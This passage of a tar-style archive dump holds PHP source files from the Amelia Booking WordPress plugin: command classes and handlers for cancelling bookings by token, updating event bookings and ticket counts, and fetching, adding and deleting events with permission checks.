AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\CustomerApplicationService; use AmeliaBooking\Domain\Common\Exceptions\BookingCancellationException; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\Token; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\WP\Translations\BackendStrings; use Slim\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; use UnexpectedValueException; /** * Class CancelBookingRemotelyCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class CancelBookingRemotelyCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'token', ]; /** * @param CancelBookingRemotelyCommand $command * * @return CommandResult * @throws UnexpectedValueException * @throws ContainerException * @throws \InvalidArgumentException * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException * @throws NotFoundException */ public function handle(CancelBookingRemotelyCommand $command) { $this->checkMandatoryFields($command); $result = new CommandResult(); $type = $command->getField('type') ?: Entities::APPOINTMENT; /** @var CustomerApplicationService $customerAS */ $customerAS = $this->container->get('application.user.customer.service'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var AbstractUser $user */ $user = $this->container->get('logged.in.user'); /** @var CustomerBooking $booking */ $booking = $bookingRepository->getById((int)$command->getArg('id')); $token = $bookingRepository->getToken((int)$command->getArg('id')); if (empty($token['token'])) { throw new AccessDeniedException('You are not allowed to update booking status'); } $booking->setToken(new Token($token['token'])); if (!$customerAS->isCustomerBooking($booking, $user, $command->getField('token'))) { throw new AccessDeniedException('You are not allowed to update booking status'); } /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get($type); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $status = BookingStatus::CANCELED; try { $bookingData = $reservationService->updateStatus($booking, $status); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated booking status'); $result->setData( array_merge( $bookingData, [ 'type' => $type, 'status' => $status, 'message' => BackendStrings::getAppointmentStrings()['appointment_status_changed'] . strtolower(BackendStrings::getCommonStrings()[$status]) ] ) ); } catch (BookingCancellationException $e) { $result->setResult(CommandResult::RESULT_ERROR); } $notificationSettings = $settingsService->getCategorySettings('notifications'); if ($notificationSettings['cancelSuccessUrl'] && $result->getResult() === CommandResult::RESULT_SUCCESS) { $result->setUrl($notificationSettings['cancelSuccessUrl']); } elseif ($notificationSettings['cancelErrorUrl'] && $result->getResult() === CommandResult::RESULT_ERROR) { $result->setUrl($notificationSettings['cancelErrorUrl']); } else { $result->setUrl('/'); } return $result; } } Commands/Booking/Appointment/GetAppointmentsCommand.php 0000666 00000000433 15165412624 0017336 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class GetAppointmentsCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class GetAppointmentsCommand extends Command { } Commands/Booking/Appointment/CancelBookingCommand.php 0000666 00000000427 15165412624 0016716 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class CancelBookingCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class CancelBookingCommand extends Command { } Commands/Booking/Appointment/UpdateAppointmentStatusCommand.php 0000666 00000000453 15165412624 0021064 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateAppointmentStatusCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class UpdateAppointmentStatusCommand extends Command { } Commands/Booking/Appointment/GetTimeSlotsCommand.php 0000666 00000000425 15165412624 0016601 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class GetTimeSlotsCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class GetTimeSlotsCommand extends Command { } Commands/Booking/Appointment/ReassignBookingCommand.php 0000666 00000000433 15165412624 0017301 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class ReassignBookingCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class ReassignBookingCommand extends Command { } Commands/Booking/Event/UpdateEventBookingCommandHandler.php 0000666 00000027023 15165412624 0020037 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Event\CustomerBookingEventTicket; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Booking\Event\EventPeriod; use AmeliaBooking\Domain\Entity\Booking\Event\EventTicket; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Factory\Booking\Event\CustomerBookingEventTicketFactory; use AmeliaBooking\Domain\Factory\Coupon\CouponFactory; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Json; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\Number\Integer\IntegerValue; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\CustomerBookingEventTicketRepository; use AmeliaBooking\Infrastructure\WP\Integrations\WooCommerce\WooCommerceService; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class UpdateEventBookingCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class UpdateEventBookingCommandHandler extends CommandHandler { /** * @param UpdateEventBookingCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws ContainerException * @throws InvalidArgumentException */ public function handle(UpdateEventBookingCommand $command) { $result = new CommandResult(); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var AbstractUser $user */ $user = $this->container->get('logged.in.user'); if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::EVENTS)) { $user = $userAS->getAuthenticatedUser($command->getToken(), false, 'providerCabinet'); if ($user === null) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not retrieve user'); $result->setData( [ 'reauthorize' => true ] ); return $result; } } $this->checkMandatoryFields($command); $bookingData = $command->getField('bookings') ? $command->getField('bookings')[0] : null; /** @var CustomerBookingRepository $customerBookingRepository */ $customerBookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var EventApplicationService $eventAS */ $eventAS = $this->container->get('application.booking.event.service'); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::EVENT); /** @var Event $event */ $event = $reservationService->getReservationByBookingId((int)$command->getField('id')); /** @var CustomerBooking $customerBooking */ $customerBooking = $event->getBookings()->getItem((int)$command->getField('id')); if ($user && $userAS->isProvider($user) && ( !$settingsDS->getSetting('roles', 'allowWriteEvents') || (!$event->getProviders()->keyExists($user->getId()->getValue()) && (!$event->getOrganizerId() || $event->getOrganizerId()->getValue() !== $user->getId()->getValue())) ) ) { throw new AccessDeniedException('You are not allowed to update booking'); } $isBookingStatusChanged = $bookingData && isset($bookingData['status']) && $customerBooking->getStatus()->getValue() !== $bookingData['status']; if (isset($bookingData['customFields'])) { $customerBooking->setCustomFields(new Json(json_encode($bookingData['customFields']))); } if (isset($bookingData['status'])) { $customerBooking->setStatus(new BookingStatus($bookingData['status'])); } if (isset($bookingData['coupon'])) { $customerBooking->setCoupon(CouponFactory::create($bookingData['coupon'])); } /** @var CustomerBookingEventTicketRepository $bookingEventTicketRepository */ $bookingEventTicketRepository = $this->container->get('domain.booking.customerBookingEventTicket.repository'); if ($event->getCustomTickets() && $event->getCustomTickets()->length() ) { $event->setCustomTickets($eventAS->getTicketsPriceByDateRange($event->getCustomTickets())); if (!empty($bookingData['ticketsData'])) { foreach ($bookingData['ticketsData'] as $ticketBooking) { if (!$ticketBooking['id'] && $ticketBooking['persons']) { /** @var EventTicket $ticket */ $ticket = $event->getCustomTickets()->getItem($ticketBooking['eventTicketId']); $ticketPrice = $ticket->getDateRangePrice() ? $ticket->getDateRangePrice()->getValue() : $ticket->getPrice()->getValue(); /** @var CustomerBookingEventTicket $bookingEventTicket */ $bookingEventTicket = CustomerBookingEventTicketFactory::create( [ 'eventTicketId' => $ticketBooking['eventTicketId'], 'customerBookingId' => $customerBooking->getId()->getValue(), 'persons' => $ticketBooking['persons'], 'price' => $ticketPrice, ] ); $newTicketBookingId = $bookingEventTicketRepository->add($bookingEventTicket); if ($customerBooking->getStatus()->getValue() === BookingStatus::APPROVED) { $isBookingStatusChanged = true; $bookingEventTicket->setId(new Id($newTicketBookingId)); $customerBooking->getTicketsBooking()->addItem($bookingEventTicket); } } else if ($ticketBooking['id'] && $ticketBooking['persons']) { $bookingEventTicketRepository->update($ticketBooking['id'], $ticketBooking); foreach ($customerBooking->getTicketsBooking()->getItems() as $item) { if ($item->getEventTicketId()->getValue() === $ticketBooking['eventTicketId'] && $item->getPersons()->getValue() < $ticketBooking['persons'] && $customerBooking->getStatus()->getValue() === BookingStatus::APPROVED ) { $isBookingStatusChanged = true; $item->setPersons(new IntegerValue($ticketBooking['persons'])); } } } else if ($ticketBooking['id'] && !$ticketBooking['persons']) { $bookingEventTicketRepository->delete($ticketBooking['id']); if ($customerBooking->getStatus()->getValue() === BookingStatus::APPROVED) { $isBookingStatusChanged = true; } } } } } else { if ($customerBooking->getStatus()->getValue() === BookingStatus::APPROVED && $customerBooking->getPersons()->getValue() < $bookingData['persons'] ) { $isBookingStatusChanged = true; $customerBooking->setPersons(new IntegerValue($bookingData['persons'])); } } if ($customerBooking->getStatus()->getValue() === BookingStatus::APPROVED && $customerBooking->getCustomFields() && !empty($bookingData['customFields']) && $customerBooking->getCustomFields()->getValue() !== json_encode($bookingData['customFields']) ) { $isBookingStatusChanged = true; } $customerBookingRepository->update($customerBooking->getId()->getValue(), $customerBooking); /** @var Payment $payment */ foreach ($customerBooking->getPayments()->getItems() as $payment) { if ($payment->getWcOrderId() && $payment->getWcOrderId()->getValue() ) { $eventArray = $event->toArray(); $eventArray['bookings'] = [$customerBooking->toArray()]; $eventArray['recurring'] = []; $eventArray['eventId'] = $eventArray['id']; $dateTimeValues = []; /** @var EventPeriod $period */ foreach ($event->getPeriods()->getItems() as $period) { $dateTimeValues[] = [ 'start' => $period->getPeriodStart()->getValue()->format('Y-m-d H:i'), 'end' => $period->getPeriodEnd()->getValue()->format('Y-m-d H:i') ]; } $eventArray['dateTimeValues'] = $dateTimeValues; foreach ($eventArray['bookings'] as &$booking) { if (!empty($booking['customFields'])) { $customFields = json_decode($booking['customFields'], true); $booking['customFields'] = $customFields; } } WooCommerceService::updateItemMetaData( $payment->getWcOrderId()->getValue(), $eventArray ); } } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated booking'); $result->setData( [ 'type' => Entities::EVENT, Entities::EVENT => $event->toArray(), Entities::BOOKING => $customerBooking->toArray(), 'appointmentStatusChanged' => false, 'bookingStatusChanged' => $isBookingStatusChanged, 'paymentId' => $customerBooking->getPayments()->length() > 0 ? $customerBooking->getPayments()->getItem($customerBooking->getPayments()->keys()[0])->getId()->getValue() : null, 'createPaymentLinks' => $command->getField('createPaymentLinks') ] ); return $result; } } Commands/Booking/Event/DeleteEventCommand.php 0000666 00000000407 15165412624 0015205 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class DeleteEventCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class DeleteEventCommand extends Command { } Commands/Booking/Event/DeleteEventCommandHandler.php 0000666 00000005043 15165412624 0016504 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; /** * Class DeleteEventCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class DeleteEventCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'applyGlobally' ]; /** * @param DeleteEventCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle(DeleteEventCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanDelete(Entities::EVENTS)) { throw new AccessDeniedException('You are not allowed to delete event'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var EventApplicationService $eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); $event = $eventRepository->getById($command->getArg('id')); $eventRepository->beginTransaction(); try { $deletedEvents = $eventApplicationService->delete($event, $command->getField('applyGlobally')); } catch (QueryExecutionException $e) { $eventRepository->rollback(); throw $e; } $eventRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully deleted event'); $result->setData( [ Entities::EVENT => $event->toArray(), 'deletedEvents' => $deletedEvents ] ); return $result; } } Commands/Booking/Event/GetEventsCommandHandler.php 0000666 00000030772 15165412624 0016213 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Application\Services\Reservation\EventReservationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Event\CustomerBookingEventTicket; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Booking\Event\EventPeriod; use AmeliaBooking\Domain\Entity\Booking\Event\EventTicket; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Factory\Booking\Event\EventPeriodFactory; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Number\Integer\IntegerValue; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use DateTimeZone; use Exception; /** * Class GetEventsCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class GetEventsCommandHandler extends CommandHandler { /** * @param GetEventsCommand $command * * @return CommandResult * * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws Exception */ public function handle(GetEventsCommand $command) { $result = new CommandResult(); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var EventReservationService $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::EVENT); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); /** @var EventApplicationService $eventAS */ $eventAS = $this->container->get('application.booking.event.service'); $params = $command->getField('params'); /** @var AbstractUser $user */ $user = null; $isFrontEnd = isset($params['page']); $isCalendarPage = $isFrontEnd && (int)$params['page'] === 0; $isCabinetPage = $command->getPage() === 'cabinet'; if (!$isFrontEnd) { try { /** @var AbstractUser $user */ $user = $userAS->authorization( $isCabinetPage ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } if ($userAS->isAmeliaUser($user) && $userAS->isCustomer($user)) { $params['customerId'] = $user->getId()->getValue(); } if ($user && $user->getType() === AbstractUser::USER_ROLE_PROVIDER) { $params['providers'] = [$user->getId()->getValue()]; } } if (isset($params['dates'][0])) { $params['dates'][0] ? $params['dates'][0] .= ' 00:00:00' : null; } if (isset($params['dates'][1])) { $params['dates'][1] ? $params['dates'][1] .= ' 23:59:59' : null; } if ($isFrontEnd) { $params['show'] = 1; if (!empty($params['tag'])) { $params['tag'] = str_replace('___', ' ', $params['tag']); } } $filteredEventIds = $eventRepository->getFilteredIds( $params, $settingsDS->getSetting('general', 'itemsPerPage') ); if ($isCabinetPage) { $params['fetchCoupons'] = true; } if ($isCalendarPage) { $params['allProviders'] = true; } $eventsIds = array_column($filteredEventIds, 'id'); /** @var Collection $events */ $events = $eventsIds ? $eventAS->getEventsByIds( $eventsIds, [ 'fetchEventsPeriods' => true, 'fetchEventsTickets' => true, 'fetchEventsTags' => true, 'fetchEventsProviders' => true, 'fetchEventsImages' => true, 'fetchBookingsTickets' => true, 'fetchBookingsCoupons' => true, 'fetchApprovedBookings' => false, 'fetchBookingsPayments' => true, 'fetchBookingsUsers' => $isCabinetPage, ] ) : new Collection(); $currentDateTime = DateTimeService::getNowDateTimeObject(); $eventsArray = []; /** @var Event $event */ foreach ($events->getItems() as $event) { if ($isFrontEnd && !$event->getShow()->getValue()) { continue; } $persons = 0; if ($event->getCustomPricing()->getValue()) { /** @var CustomerBooking $booking */ foreach ($event->getBookings()->getItems() as $booking) { /** @var CustomerBookingEventTicket $bookedTicket */ foreach ($booking->getTicketsBooking()->getItems() as $bookedTicket) { /** @var EventTicket $ticket */ $ticket = $event->getCustomTickets()->getItem($bookedTicket->getEventTicketId()->getValue()); $ticket->setSold( new IntegerValue( ($ticket->getSold() ? $ticket->getSold()->getValue() : 0) + ($booking->getStatus()->getValue() === BookingStatus::APPROVED || $booking->getStatus()->getValue() === BookingStatus::PENDING ? $bookedTicket->getPersons()->getValue() : 0) ) ); } } $maxCapacity = 0; $event->setCustomTickets($eventAS->getTicketsPriceByDateRange($event->getCustomTickets())); /** @var EventTicket $ticket */ foreach ($event->getCustomTickets()->getItems() as $ticket) { $maxCapacity += $ticket->getSpots()->getValue(); $persons += ($ticket->getSold() ? $ticket->getSold()->getValue() : 0); } $event->setMaxCapacity($event->getMaxCustomCapacity() ?: new IntegerValue($maxCapacity)); } else { /** @var CustomerBooking $booking */ foreach ($event->getBookings()->getItems() as $booking) { if ($booking->getStatus()->getValue() === BookingStatus::APPROVED || $booking->getStatus()->getValue() === BookingStatus::PENDING) { $persons += $booking->getPersons()->getValue(); } } } if (($isFrontEnd && $settingsDS->getSetting('general', 'showClientTimeZone')) || $isCabinetPage ) { $timeZone = 'UTC'; if (!empty($params['timeZone'])) { $timeZone = $params['timeZone']; } /** @var EventPeriod $period */ foreach ($event->getPeriods()->getItems() as $period) { $period->getPeriodStart()->getValue()->setTimezone(new DateTimeZone($timeZone)); $period->getPeriodEnd()->getValue()->setTimezone(new DateTimeZone($timeZone)); } } $bookingOpens = $event->getBookingOpens() ? $event->getBookingOpens()->getValue() : $event->getCreated()->getValue(); $bookingCloses = $event->getBookingCloses() ? $event->getBookingCloses()->getValue() : $event->getPeriods()->getItem(0)->getPeriodStart()->getValue(); $minimumCancelTimeInSeconds = $settingsDS ->getEntitySettings($event->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToCanceling(); $minimumCancelTime = DateTimeService::getCustomDateTimeObject( $event->getPeriods()->getItem(0)->getPeriodStart()->getValue()->format('Y-m-d H:i:s') )->modify("-{$minimumCancelTimeInSeconds} seconds"); $minimumReached = null; if ($event->getCloseAfterMin() !== null && $event->getCloseAfterMinBookings() !== null) { if ($event->getCloseAfterMinBookings()->getValue()) { $approvedBookings = array_filter( $event->getBookings()->toArray(), function ($value) { return $value['status'] === 'approved'; } ); $minimumReached = count($approvedBookings) >= $event->getCloseAfterMin()->getValue(); } else { $minimumReached = $persons >= $event->getCloseAfterMin()->getValue(); } } $eventsInfo = [ 'bookable' => $reservationService->isBookable($event, null, $currentDateTime) && !$minimumReached, 'cancelable' => $currentDateTime <= $minimumCancelTime && ($event->getStatus()->getValue() === BookingStatus::APPROVED || $event->getStatus()->getValue() === BookingStatus::PENDING), 'opened' => ($currentDateTime > $bookingOpens) && ($currentDateTime < $bookingCloses), 'closed' => $currentDateTime > $bookingCloses || $minimumReached, 'places' => $event->getMaxCapacity()->getValue() - $persons, 'upcoming' => $currentDateTime < $bookingOpens && $event->getStatus()->getValue() === BookingStatus::APPROVED, 'full' => $event->getMaxCapacity()->getValue() <= $persons && $currentDateTime < $event->getPeriods()->getItem(0)->getPeriodStart()->getValue() ]; if ($isFrontEnd) { $event->setBookings(new Collection()); /** @var EventPeriod $eventPeriod */ foreach ($event->getPeriods()->getItems() as $key => $eventPeriod) { /** @var EventPeriod $newEventPeriod **/ $newEventPeriod = EventPeriodFactory::create( array_merge( $eventPeriod->toArray(), ['zoomMeeting' => null] ) ); $event->getPeriods()->placeItem($newEventPeriod, $key, true); } } $ameliaUserId = $userAS->isAmeliaUser($user) && $user->getId() ? $user->getId()->getValue() : null; // Delete other bookings if user is customer if ($userAS->isCustomer($user)) { /** @var CustomerBooking $booking */ foreach ($event->getBookings()->getItems() as $bookingKey => $booking) { if ($booking->getCustomerId()->getValue() !== $ameliaUserId) { $event->getBookings()->deleteItem($bookingKey); } } } if (!$isFrontEnd && $userAS->isCustomer($user) && $event->getBookings()->length() === 0) { continue; } $eventsArray[] = array_merge($event->toArray(), $eventsInfo); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved events'); $result->setData( [ Entities::EVENTS => $eventsArray, 'count' => !$isCalendarPage ? (int)$eventRepository->getFilteredIdsCount($params) : null ] ); return $result; } } Commands/Booking/Event/UpdateEventBookingCommand.php 0000666 00000001026 15165412624 0016534 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateEventBookingCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class UpdateEventBookingCommand extends Command { /** * GetEventCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); if (isset($args['id'])) { $this->setField('id', $args['id']); } } } Commands/Booking/Event/GetEventDeleteEffectCommand.php 0000666 00000000431 15165412624 0016757 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class GetEventDeleteEffectCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class GetEventDeleteEffectCommand extends Command { } Commands/Booking/Event/GetEventCommandHandler.php 0000666 00000011311 15165412624 0016014 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Application\Services\User\CustomerApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Booking\Event\EventPeriod; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use Exception; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetEventCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class GetEventCommandHandler extends CommandHandler { /** * @param GetEventCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws Exception */ public function handle(GetEventCommand $command) { /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); $result = new CommandResult(); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } if ($user === null) { throw new AccessDeniedException('You are not allowed to read events'); } /** @var EventApplicationService $eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); /** @var Event $event */ $event = $eventApplicationService->getEventById( (int)$command->getField('id'), [ 'fetchEventsPeriods' => true, 'fetchEventsTickets' => true, 'fetchEventsTags' => true, 'fetchEventsProviders' => true, 'fetchEventsImages' => true, 'fetchApprovedBookings' => false, 'fetchBookingsTickets' => true, 'fetchBookingsUsers' => true, 'fetchBookingsPayments' => true, 'fetchBookingsCoupons' => true, ] ); if (!$event) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not retrieve event'); $result->setData( [ Entities::EVENT => [] ] ); return $result; } // set tickets price by dateRange if ($event->getCustomTickets()->getItems()) { /** @var EventApplicationService $eventAS */ $eventAS = $this->container->get('application.booking.event.service'); $event->setCustomTickets($eventAS->getTicketsPriceByDateRange($event->getCustomTickets())); } if (!empty($command->getField('params')['timeZone'])) { /** @var EventPeriod $period */ foreach ($event->getPeriods()->getItems() as $period) { $period->getPeriodStart()->getValue()->setTimezone( new \DateTimeZone($command->getField('params')['timeZone']) ); $period->getPeriodEnd()->getValue()->setTimezone( new \DateTimeZone($command->getField('params')['timeZone']) ); } } /** @var CustomerApplicationService $customerAS */ $customerAS = $this->container->get('application.user.customer.service'); $customerAS->removeBookingsForOtherCustomers($user, new Collection([$event])); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved event'); $result->setData( [ Entities::EVENT => $event->toArray() ] ); return $result; } } Commands/Booking/Event/UpdateEventCommand.php 0000666 00000000407 15165412624 0015225 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateEventCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class UpdateEventCommand extends Command { } Commands/Booking/Event/AddEventCommandHandler.php 0000666 00000007177 15165412624 0016004 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class AddEventCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class AddEventCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'name', 'periods' ]; /** * @param AddEventCommand $command * * @return CommandResult * @throws QueryExecutionException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws ContainerException * @throws Exception */ public function handle(AddEventCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var EventApplicationService 